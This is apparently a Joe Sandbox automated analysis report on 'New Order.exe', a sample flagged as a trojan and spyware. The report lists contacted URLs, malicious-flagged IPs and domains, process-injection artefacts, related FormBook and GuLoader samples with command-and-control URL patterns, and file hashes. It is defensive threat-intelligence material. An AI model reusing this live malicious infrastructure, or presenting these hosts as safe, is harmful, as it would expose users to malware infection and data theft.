http://www.614genetics.online/display.cfm	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.614genetics.online/__media__/design/underconstructionnotice.php?d=614genetics.online	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.614genetics.online/614_Genetics_Online_Activity.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.614genetics.online/614_Genetics_Online_Course.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	w32tm.exe, 0000000E.00000002.4635164547.00000000040A8000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003528000.00000004.00000001.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	New Order.exe, 00000001.00000002.2168677711.0000000002F31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.614genetics.online	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://delivery.consentmanager.net	w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/pics/29590/bg1.png)	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.614genetics.online/__media__/js/trademark.php?d=614genetics.online&type=ns	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.funnystory.online/cgi-sys/suspendedpage.cgi?F8S0G=ul80rPhxFlR8lH&u6nP_F48=dzHZVdeA6r6aBY	w32tm.exe, 0000000E.00000002.4635164547.00000000046F0000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003B70000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/pics/28905/arrrow.png)	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.conseilnsaftogo.org	XVZmwHdSYwx.exe, 00000011.00000002.4636187188.00000000052B9000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i3.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.614genetics.online/614_Genetics_Online_Game.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWNmE%2Fe	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://localhost/arkanoid_server/requests.php	w32tm.exe, 0000000E.00000002.4635164547.000000000399C000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000002E1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.2797262924.0000000028B5C000.00000004.80000000.00040000.00000000.sdmp, New Order.exe	false		high
http://www.614genetics.online/Genetics_Online_College_Course.cfm?fp=GPZqom54Zw2OunBTGjv%2BCiwC4YcGWN	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i3.cdn-image.com/__media__/js/min.js?v2.3	w32tm.exe, 0000000E.00000002.4637249774.00000000062B0000.00000004.00000800.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4635164547.0000000004882000.00000004.10000000.00040000.00000000.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4634099504.0000000003D02000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	w32tm.exe, 0000000E.00000002.4637534779.0000000007DA8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
130.185.109.77	www.lgdiamonds.info	Germany	51191	XIRRADE	true
13.248.169.48	www.aiactor.xyz	United States	16509	AMAZON-02US	true
162.0.213.94	www.inspireto.life	Canada	35893	ACPCA	true
154.70.82.246	conseilnsaftogo.org	Togo	30982	CAFENETTG	true
154.90.35.240	all.wjscdn.com	Seychelles	40065	CNSERVERSUS	true
208.91.197.27	www.614genetics.online	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
154.23.184.95	hm35s.top	United States	174	COGENT-174US	true
172.104.82.74	funnystory.online	United States	63949	LINODE-APLinodeLLCUS	true
172.104.18.233	gravendeel.studio	United States	63949	LINODE-APLinodeLLCUS	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	false
31.31.196.17	www.bootleggersrt.online	Russian Federation	197695	AS-REGRU	true
68.66.226.92	www.717hy.net	United States	55293	A2HOSTINGUS	true
173.236.199.97	www.kvsj.net	United States	26347	DREAMHOST-ASUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567406
Start date and time:	2024-12-03 14:36:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New Order.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@12/7@20/13
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 93% Number of executed functions: 94 Number of non-executed functions: 290
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.147.3, 20.190.177.20, 20.190.177.84, 20.190.147.11, 20.190.147.12, 20.190.177.83, 20.190.177.23, 20.190.177.85
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, arc.msn.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ris.api.iris.microsoft.com, login.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: New Order.exe

Simulations

Behavior and APIs

Time	Type	Description
08:37:43	API Interceptor	1x Sleep call for process: New Order.exe modified
08:37:45	API Interceptor	17x Sleep call for process: powershell.exe modified
08:38:53	API Interceptor	8619528x Sleep call for process: w32tm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
130.185.109.77	need quotations.exe	Get hash	malicious	FormBook	Browse	www.lgdiamonds.info/cv1w/
	MaMsKRmgXZ.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.holzleisten24.shop/ro12/?pR-=YvLwEHT7dF3wqOWcBoJhBcwDYJ3uuNfwUzugM5jE2WtwH9yjz4WpnbfVNhN3mQxE4RMu&Wx=ChSLGhh0Mn9TylKP
	Product24573.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?ti-8=LyKdFPBKAe5W&5eb6=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgAvEQCI5kWwTVA==
	Siirtokuitti_006703.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.printmyride.store/tchg/?O0qEM=QQ6dpIpAk027UR3BL5U7sG0DxH6sKQa5YnzY0agrXpda3w5URJfAhsqjtJqbY2/M8fhrkTh6mIV7dbZQ8z6SYrdm6JILdk9Mfg==&CF1Ki=UnDuQcdCFs1MNsvY
	P5348574_74676.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?lpw7=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==&UZCu=zJfEuRXw-P
	535276_86376.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?yDcF=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k5SHNZX0bjzo+VQ==&jdd=UX4BZm
	Product_List.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?JBfKk=_uLb4J-vJhW8&8mBWmPn=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==
	PS_231.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?kyx=IT_WJ&HqE8Cy=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgAvEQCI5kWwTVA==
	KD_MEDICAL_POLSKA_23053371.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.die-cyber-versicherer.com/co9t/?LVuSGU=-giyq0&MGuik=O0wiA489QXAo4/zisxW0kKpRL90vV9sT3USeBzF+d48ZKZIeaBWCTOAUxMvYVu20Q54TxHeRRe+2rSLSyytqRGlmgBV+voPflw==
	s4YvlK74zJ.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.die-cyber-versicherer.com/co9t/?h1=O0wiA489QXAo4/zisxW0kKpRL90vV9sT3USeBzF+d48ZKZIeaBWCTOAUxMvYVu20Q54TxHeRRe+2rSLSyytqRGlmgBV+voPflw==&m8hK_F=yFTUihtd4y
13.248.169.48	SW_5724.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/440l/
	attached invoice.exe	Get hash	malicious	FormBook	Browse	www.aktmarket.xyz/wb7v/
	YH-3-12-2024-GDL Units - Projects.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/k1td/
	Proforma invoice - Arancia NZ.exe	Get hash	malicious	FormBook	Browse	www.optimismbank.xyz/98j3/
	lKvXJ7VVCK.exe	Get hash	malicious	FormBook	Browse	www.avalanchefi.xyz/ctta/
	BASF Hung#U00e1ria Kft.exe	Get hash	malicious	FormBook	Browse	www.tals.xyz/k1td/
	PAYMENT_ADVICE.exe	Get hash	malicious	FormBook	Browse	www.heliopsis.xyz/69zn/
	1k24tbb-00241346.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.gupiao.bet/t3a1/
	Documents.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.hasan.cloud/tur7/
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.egyshare.xyz/lp5b/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
all.wjscdn.com	TNT Express Delivery Consignment AWD 87993766479.vbs	Get hash	malicious	FormBook	Browse	38.54.112.227
	Payment-251124.exe	Get hash	malicious	FormBook	Browse	154.205.159.116
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	38.54.112.227
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	154.90.58.209
natroredirect.natrocdn.com	specification and drawing.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	85.159.66.93
	CCE 30411252024.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	TNT Express Delivery Consignment AWD 87993766479.vbs	Get hash	malicious	FormBook	Browse	85.159.66.93
	OUTSTANDING BALANCE PAYMENT.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	REQUESTING FOR UPDATED SOA.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-18720.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Certificate 11-19AIS.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	packing list G25469.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	purchase Order.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
www.aiactor.xyz	DOC_114542366.vbe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.aiactor.xyz	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.lgdiamonds.info	need quotations.exe	Get hash	malicious	FormBook	Browse	130.185.109.77

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	SW_5724.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
	0200011080.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	54.150.207.131
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	108.158.75.92
	https://nam05.safelinks.protection.outlook.com.url.atp-redirect.protected-forms.com/XTnQrajg1OGVHZkdSZC9jY09NbW40Z2plNHVuWDhsQVZRZkFYNVBxOWlTekFXSXBLSVRWLyt2WXhuS1hGNVo3UUxGQTRLRVpXNHpLSjVKdDEvbHJLSmtFWjMzbFIxb3IvR2xvdWJ1em5yeTJBK1FXdzF3UG52YXBaVmJBSEJZcXBSdjFvMTh6TmplRHV4azZ6UHkrTnM5dUY2QmVzbVFVRWk5di9PMEZxZ2lXNnM5N2tuOExqN1pyUy0tcEx5Q0xXTTBEOURyNFdnTS0tTTJJM3JGT2w2ZzQxTnorb2NMd1lrZz09?cid=2305347406	Get hash	malicious	KnowBe4	Browse	13.227.8.37
	https://chargeview.live	Get hash	malicious	Unknown	Browse	3.122.217.79
	a-r.m-6.SNOOPY.elf	Get hash	malicious	Gafgyt	Browse	54.171.230.55
	phish_alert_sp2_2.0.0.0 (8).eml	Get hash	malicious	Unknown	Browse	54.231.135.120
	https://searchandprint.recipes	Get hash	malicious	Unknown	Browse	108.158.75.111
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse	52.19.224.221
ACPCA	yMvZXcwN2OdoP6x.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.55.163.242
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.10.135.213
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.52.132.181
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	162.48.192.235
	sora.arm.elf	Get hash	malicious	Mirai	Browse	162.64.49.53
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	162.36.86.178
	i586.elf	Get hash	malicious	Unknown	Browse	162.64.13.162
	sh4.elf	Get hash	malicious	Mirai	Browse	162.60.248.105
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	162.54.149.125
XIRRADE	need quotations.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	file.exe	Get hash	malicious	SystemBC	Browse	185.169.24.192
	Zam#U00f3wienie Z2300056_pdf .scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	185.169.24.118
	New order -24900242 OP_pdf .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	185.169.24.118
	vAZYIEQMP8.elf	Get hash	malicious	Mirai, Moobot	Browse	195.138.242.157
	MaMsKRmgXZ.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	Product24573.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Siirtokuitti_006703.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	P5348574_74676.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product7825.exe	Get hash	malicious	FormBook	Browse	130.185.109.77

Process:	C:\Users\user\Desktop\New Order.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.354777075714867
Encrypted:	false
SSDEEP:	24:3gWSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKIl9r6dj:QWSU4y4RQmFoUeWmfmZ9tK8NDE
MD5:	92C17FC0DE8449D1E50ED56DBEBAA35D
SHA1:	A617D392757DC7B1BEF28448B72CBD131CF4D0FB
SHA-256:	DA2D2B57AFF1C99E62DD8102CF4DB3F2F0621D687D275BFAF3DB77772131E485
SHA-512:	603922B790E772A480C9BF4CFD621827085B0070131EF29DC283F0E901CF783034384F8815C092D79A6EA5DF382EF78AF5AC3D81EBD118D2D5C1E623CE5553D1
Malicious:	false
